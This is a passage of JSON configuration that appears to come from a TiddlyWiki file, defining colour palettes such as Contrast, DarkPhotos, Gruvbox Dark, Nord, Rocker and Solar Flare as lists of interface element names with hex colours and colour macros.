"text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #bbb\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #6f6f70\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #29a6ee\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #c2c1c2\nsidebar-foreground-shadow: rgba(255,255,255,0)\nsidebar-foreground: #d3d2d4\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: #6f6f70\nsidebar-tab-background: #666667\nsidebar-tab-border-selected: #999\nsidebar-tab-border: #515151\nsidebar-tab-divider: #999\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: #999\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #d1d0d2\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #d8d8d8\ntab-border-selected: #d8d8d8\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #d5ad34\ntag-foreground: #ffffff\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #182955\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
},
"$:/palettes/ContrastLight": {
"title": "$:/palettes/ContrastLight",
"name": "Contrast (Light)",
"description": "High contrast and unambiguous (light version)",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"text": "alert-background: #f00\nalert-border: <<colour background>>\nalert-highlight: <<colour foreground>>\nalert-muted-foreground: #800\nbackground: #fff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: <<colour background>>\nbutton-foreground: <<colour foreground>>\nbutton-border: <<colour foreground>>\ncode-background: <<colour background>>\ncode-border: <<colour foreground>>\ncode-foreground: <<colour foreground>>\ndirty-indicator: #f00\ndownload-background: #080\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: <<colour foreground>>\ndropdown-tab-background: <<colour foreground>>\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #00a\nexternal-link-foreground: #00e\nforeground: #000\nmessage-background: <<colour foreground>>\nmessage-border: <<colour background>>\nmessage-foreground: <<colour background>>\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: <<colour foreground>>\nmodal-footer-background: <<colour background>>\nmodal-footer-border: <<colour foreground>>\nmodal-header-border: <<colour foreground>>\nmuted-foreground: <<colour foreground>>\nnotification-background: <<colour background>>\nnotification-border: <<colour foreground>>\npage-background: <<colour background>>\npre-background: <<colour background>>\npre-border: <<colour foreground>>\nprimary: #00f\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: <<colour background>>\nsidebar-controls-foreground: <<colour foreground>>\nsidebar-foreground-shadow: rgba(0,0,0, 0)\nsidebar-foreground: <<colour foreground>>\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: <<colour foreground>>\nsidebar-tab-background-selected: <<colour background>>\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: <<colour foreground>>\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: <<colour foreground>>\nsidebar-tiddler-link-foreground: <<colour primary>>\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: <<colour background>>\ntab-background: <<colour foreground>>\ntab-border-selected: <<colour foreground>>\ntab-border: <<colour foreground>>\ntab-divider: <<colour foreground>>\ntab-foreground-selected: <<colour foreground>>\ntab-foreground: <<colour background>>\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #000\ntag-foreground: #fff\ntiddler-background: <<colour background>>\ntiddler-border: <<colour foreground>>\ntiddler-controls-foreground-hover: #ddd\ntiddler-controls-foreground-selected: #fdd\ntiddler-controls-foreground: <<colour foreground>>\ntiddler-editor-background: <<colour background>>\ntiddler-editor-border-image: <<colour foreground>>\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: <<colour background>>\ntiddler-editor-fields-odd: <<colour background>>\ntiddler-info-background: <<colour background>>\ntiddler-info-border: <<colour foreground>>\ntiddler-info-tab-background: <<colour background>>\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: <<colour foreground>>\ntiddler-title-foreground: <<colour foreground>>\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: <<colour foreground>>\nvery-muted-foreground: #888888\n"
},
"$:/palettes/ContrastDark": {
"title": "$:/palettes/ContrastDark",
"name": "Contrast (Dark)",
"description": "High contrast and unambiguous (dark version)",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"text": "alert-background: #f00\nalert-border: <<colour background>>\nalert-highlight: <<colour foreground>>\nalert-muted-foreground: #800\nbackground: #000\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: <<colour background>>\nbutton-foreground: <<colour foreground>>\nbutton-border: <<colour foreground>>\ncode-background: <<colour background>>\ncode-border: <<colour foreground>>\ncode-foreground: <<colour foreground>>\ndirty-indicator: #f00\ndownload-background: #080\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: <<colour foreground>>\ndropdown-tab-background: <<colour foreground>>\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #00a\nexternal-link-foreground: #00e\nforeground: #fff\nmessage-background: <<colour foreground>>\nmessage-border: <<colour background>>\nmessage-foreground: <<colour background>>\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: <<colour foreground>>\nmodal-footer-background: <<colour background>>\nmodal-footer-border: <<colour foreground>>\nmodal-header-border: <<colour foreground>>\nmuted-foreground: <<colour foreground>>\nnotification-background: <<colour background>>\nnotification-border: <<colour foreground>>\npage-background: <<colour background>>\npre-background: <<colour background>>\npre-border: <<colour foreground>>\nprimary: #00f\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: <<colour background>>\nsidebar-controls-foreground: <<colour foreground>>\nsidebar-foreground-shadow: rgba(0,0,0, 0)\nsidebar-foreground: <<colour foreground>>\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: <<colour foreground>>\nsidebar-tab-background-selected: <<colour background>>\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: <<colour foreground>>\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: <<colour foreground>>\nsidebar-tiddler-link-foreground: <<colour primary>>\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: <<colour background>>\ntab-background: <<colour foreground>>\ntab-border-selected: <<colour foreground>>\ntab-border: <<colour foreground>>\ntab-divider: <<colour foreground>>\ntab-foreground-selected: <<colour foreground>>\ntab-foreground: <<colour background>>\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #fff\ntag-foreground: #000\ntiddler-background: <<colour background>>\ntiddler-border: <<colour foreground>>\ntiddler-controls-foreground-hover: #ddd\ntiddler-controls-foreground-selected: #fdd\ntiddler-controls-foreground: <<colour foreground>>\ntiddler-editor-background: <<colour background>>\ntiddler-editor-border-image: <<colour foreground>>\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: <<colour background>>\ntiddler-editor-fields-odd: <<colour background>>\ntiddler-info-background: <<colour background>>\ntiddler-info-border: <<colour foreground>>\ntiddler-info-tab-background: <<colour background>>\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: <<colour foreground>>\ntiddler-title-foreground: <<colour foreground>>\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: <<colour foreground>>\nvery-muted-foreground: #888888\n"
},
"$:/palettes/DarkPhotos": {
"title": "$:/palettes/DarkPhotos",
"created": "20150402111612188",
"description": "Good with dark photo backgrounds",
"modified": "20150402112344080",
"name": "DarkPhotos",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: \nbutton-foreground: \nbutton-border: \ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #ddd\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #336438\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #5778d8\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #ccf\nsidebar-controls-foreground: #fff\nsidebar-foreground-shadow: rgba(0,0,0, 0.5)\nsidebar-foreground: #fff\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #eee\nsidebar-tab-background-selected: rgba(255,255,255, 0.8)\nsidebar-tab-background: rgba(255,255,255, 0.4)\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: rgba(255,255,255, 0.2)\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #aaf\nsidebar-tiddler-link-foreground: #ddf\nsite-title-foreground: #fff\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #d8d8d8\ntab-border-selected: #d8d8d8\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #ec6\ntag-foreground: #ffffff\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #182955\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
},
"$:/palettes/GruvboxDark": {
"title": "$:/palettes/GruvboxDark",
"name": "Gruvbox Dark",
"description": "Retro groove color scheme",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"license": "https://github.com/morhetz/gruvbox",
"text": "alert-background: #cc241d\nalert-border: #cc241d\nalert-highlight: #d79921\nalert-muted-foreground: #504945\nbackground: #3c3836\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: #504945\nbutton-foreground: #fbf1c7\nbutton-border: transparent\ncode-background: #504945\ncode-border: #504945\ncode-foreground: #fb4934\ndiff-delete-background: #fb4934\ndiff-delete-foreground: <<colour foreground>>\ndiff-equal-background: \ndiff-equal-foreground: <<colour foreground>>\ndiff-insert-background: #b8bb26\ndiff-insert-foreground: <<colour foreground>>\ndiff-invisible-background: \ndiff-invisible-foreground: <<colour muted-foreground>>\ndirty-indicator: #fb4934\ndownload-background: #b8bb26\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: #665c54\ndropdown-border: <<colour background>>\ndropdown-tab-background-selected: #ebdbb2\ndropdown-tab-background: #665c54\ndropzone-background: #98971a\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #d3869b\nexternal-link-foreground: #8ec07c\nforeground: #fbf1c7\nmenubar-background: #504945\nmenubar-foreground: <<colour foreground>>\nmessage-background: #83a598\nmessage-border: #83a598\nmessage-foreground: #3c3836\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #504945\nmodal-footer-background: #3c3836\nmodal-footer-border: #3c3836\nmodal-header-border: #3c3836\nmuted-foreground: #d5c4a1\nnotification-background: <<colour primary>>\nnotification-border: <<colour primary>>\npage-background: #282828\npre-background: #504945\npre-border: #504945\nprimary: #d79921\nselect-tag-background: #665c54\nselect-tag-foreground: <<colour foreground>>\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #7c6f64\nsidebar-controls-foreground: #504945\nsidebar-foreground-shadow: transparent\nsidebar-foreground: #fbf1c7\nsidebar-muted-foreground-hover: #7c6f64\nsidebar-muted-foreground: #504945\nsidebar-tab-background-selected: #bdae93\nsidebar-tab-background: #3c3836\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: #bdae93\nsidebar-tab-divider: <<colour page-background>>\nsidebar-tab-foreground-selected: #282828\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #458588\nsidebar-tiddler-link-foreground: #98971a\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #B48EAD\ntab-background-selected: #ebdbb2\ntab-background: #665c54\ntab-border-selected: #665c54\ntab-border: #665c54\ntab-divider: #bdae93\ntab-foreground-selected: #282828\ntab-foreground: #ebdbb2\ntable-border: #7c6f64\ntable-footer-background: #665c54\ntable-header-background: #504945\ntag-background: #d3869b\ntag-foreground: #282828\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #7c6f64\ntiddler-controls-foreground-selected: #7c6f64\ntiddler-controls-foreground: #665c54\ntiddler-editor-background: #282828\ntiddler-editor-border-image: #282828\ntiddler-editor-border: #282828\ntiddler-editor-fields-even: #504945\ntiddler-editor-fields-odd: #7c6f64\ntiddler-info-background: #32302f\ntiddler-info-border: #ebdbb2\ntiddler-info-tab-background: #ebdbb2\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #7c6f64\ntiddler-title-foreground: #a89984\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: #504945\nvery-muted-foreground: #bdae93\nwikilist-background: <<colour page-background>>\nwikilist-button-background: <<colour button-background>>\nwikilist-button-foreground: <<colour button-foreground>>\nwikilist-item: <<colour background>>\nwikilist-toolbar-background: <<colour background>>\nwikilist-toolbar-foreground: <<colour foreground>>\nwikilist-title: <<colour foreground>>\nwikilist-title-svg: <<colour wikilist-title>>\nwikilist-url: <<colour muted-foreground>>\nwikilist-button-open-hover: <<colour primary>>\nwikilist-button-open: <<colour dropzone-background>>\nwikilist-button-remove: <<colour dirty-indicator>>\nwikilist-button-remove-hover: <<colour alert-background>>\nwikilist-droplink-dragover: <<colour dropzone-background>>\nwikilist-button-reveal: <<colour sidebar-tiddler-link-foreground-hover>>\nwikilist-button-reveal-hover: <<colour message-background>>"
},
"$:/palettes/Nord": {
"title": "$:/palettes/Nord",
"name": "Nord",
"description": "An arctic, north-bluish color palette.",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"license": "MIT, arcticicestudio, https://github.com/arcticicestudio/nord/blob/develop/LICENSE.md",
"text": "alert-background: #D08770\nalert-border: #D08770\nalert-highlight: #B48EAD\nalert-muted-foreground: #4C566A\nbackground: #3b4252\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: #4C566A\nbutton-foreground: #D8DEE9\nbutton-border: transparent\ncode-background: #2E3440\ncode-border: #2E3440\ncode-foreground: #BF616A\ndiff-delete-background: #BF616A\ndiff-delete-foreground: <<colour foreground>>\ndiff-equal-background: \ndiff-equal-foreground: <<colour foreground>>\ndiff-insert-background: #A3BE8C\ndiff-insert-foreground: <<colour foreground>>\ndiff-invisible-background: \ndiff-invisible-foreground: <<colour muted-foreground>>\ndirty-indicator: #BF616A\ndownload-background: #A3BE8C\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour background>>\ndropdown-tab-background-selected: #ECEFF4\ndropdown-tab-background: #4C566A\ndropzone-background: #A3BE8C\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #5E81AC\nexternal-link-foreground: #8FBCBB\nforeground: #d8dee9\nmenubar-background: #2E3440\nmenubar-foreground: #d8dee9\nmessage-background: #2E3440\nmessage-border: #2E3440\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #3b4252\nmodal-footer-background: #3b4252\nmodal-footer-border: #3b4252\nmodal-header-border: #3b4252\nmuted-foreground: #4C566A\nnotification-background: <<colour primary>>\nnotification-border: #EBCB8B\npage-background: #2e3440\npre-background: #2E3440\npre-border: #2E3440\nprimary: #5E81AC\nselect-tag-background: #3b4252\nselect-tag-foreground: <<colour foreground>>\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #D8DEE9\nsidebar-controls-foreground: #4C566A\nsidebar-foreground-shadow: transparent\nsidebar-foreground: #D8DEE9\nsidebar-muted-foreground-hover: #4C566A\nsidebar-muted-foreground: #4C566A\nsidebar-tab-background-selected: #ECEFF4\nsidebar-tab-background: #4C566A\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: #4C566A\nsidebar-tab-divider: <<colour page-background>>\nsidebar-tab-foreground-selected: #4C566A\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #A3BE8C\nsidebar-tiddler-link-foreground: #81A1C1\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #B48EAD\ntab-background-selected: #ECEFF4\ntab-background: #4C566A\ntab-border-selected: #4C566A\ntab-border: #4C566A\ntab-divider: #4C566A\ntab-foreground-selected: #4C566A\ntab-foreground: #D8DEE9\ntable-border: #4C566A\ntable-footer-background: #2e3440\ntable-header-background: #2e3440\ntag-background: #A3BE8C\ntag-foreground: #4C566A\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: \ntiddler-controls-foreground-selected: #EBCB8B\ntiddler-controls-foreground: #4C566A\ntiddler-editor-background: #2e3440\ntiddler-editor-border-image: #2e3440\ntiddler-editor-border: #2e3440\ntiddler-editor-fields-even: #2e3440\ntiddler-editor-fields-odd: #2e3440\ntiddler-info-background: #2e3440\ntiddler-info-border: #2e3440\ntiddler-info-tab-background: #2e3440\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #4C566A\ntiddler-title-foreground: #81A1C1\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: #2d3038\nvery-muted-foreground: #2d3038\n"
},
"$:/palettes/Rocker": {
"title": "$:/palettes/Rocker",
"name": "Rocker",
"description": "A dark theme",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #999999\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #000\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #cc0000\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #ffffff\nsidebar-foreground-shadow: rgba(255,255,255, 0.0)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: #000\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #ffbb99\nsidebar-tiddler-link-foreground: #cc0000\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #d8d8d8\ntab-border-selected: #d8d8d8\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #ffbb99\ntag-foreground: #000\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #cc0000\ntoolbar-new-button:\ntoolbar-options-button:\ntoolbar-save-button:\ntoolbar-info-button:\ntoolbar-edit-button:\ntoolbar-close-button:\ntoolbar-delete-button:\ntoolbar-cancel-button:\ntoolbar-done-button:\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
},
"$:/palettes/SolarFlare": {
"title": "$:/palettes/SolarFlare",
"name": "Solar Flare",
"description": "Warm, relaxing earth colours",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"text": ": Background Tones\n\nbase03: #002b36\nbase02: #073642\n\n: Content Tones\n\nbase01: #586e75\nbase00: #657b83\nbase0: #839496\nbase1: #93a1a1\n\n: Background Tones\n\nbase2: #eee8d5\nbase3: #fdf6e3\n\n: Accent Colors\n\nyellow: #b58900\norange: #cb4b16\nred: #dc322f\nmagenta: #d33682\nviolet: #6c71c4\nblue: #268bd2\ncyan: #2aa198\ngreen: #859900\n\n: Additional Tones (RA)\n\nbase10: #c0c4bb\nviolet-muted: #7c81b0\nblue-muted: #4e7baa\n\nyellow-hot: #ffcc44\norange-hot: #eb6d20\nred-hot: #ff2222\nblue-hot: #2298ee\ngreen-hot: #98ee22\n\n: Palette\n\n: Do not use colour macro for background and foreground\nbackground: #fdf6e3\n download-foreground: <<colour background>>\n dragger-foreground: <<colour background>>\n dropdown-background: <<colour background>>\n modal-background: <<colour background>>\n sidebar-foreground-shadow: <<colour background>>\n tiddler-background: <<colour background>>\n tiddler-border: <<colour background>>\n tiddler-link-background: <<colour background>>\n tab-background-selected: <<colour background>>\n dropdown-tab-background-selected: <<colour tab-background-selected>>\nforeground: #657b83\n dragger-background: <<colour foreground>>\n tab-foreground: <<colour foreground>>\n tab-foreground-selected: <<colour tab-foreground>>\n sidebar-tab-foreground-selected: <<colour tab-foreground-selected>>\n sidebar-tab-foreground: <<colour tab-foreground>>\n sidebar-button-foreground: <<colour foreground>>\n sidebar-controls-foreground: <<colour foreground>>\n sidebar-foreground: <<colour foreground>>\n: base03\n: base02\n: base01\n alert-muted-foreground: <<colour base01>>\n: base00\n code-foreground: <<colour base00>>\n message-foreground: <<colour base00>>\n tag-foreground: <<colour base00>>\n: base0\n sidebar-tiddler-link-foreground: <<colour base0>>\n: base1\n muted-foreground: <<colour base1>>\n blockquote-bar: <<colour muted-foreground>>\n dropdown-border: <<colour muted-foreground>>\n sidebar-muted-foreground: <<colour muted-foreground>>\n tiddler-title-foreground: <<colour muted-foreground>>\n site-title-foreground: <<colour tiddler-title-foreground>>\n: base2\n modal-footer-background: <<colour base2>>\n page-background: <<colour base2>>\n modal-backdrop: <<colour page-background>>\n notification-background: <<colour page-background>>\n code-background: <<colour page-background>>\n code-border: <<colour code-background>>\n pre-background: <<colour page-background>>\n 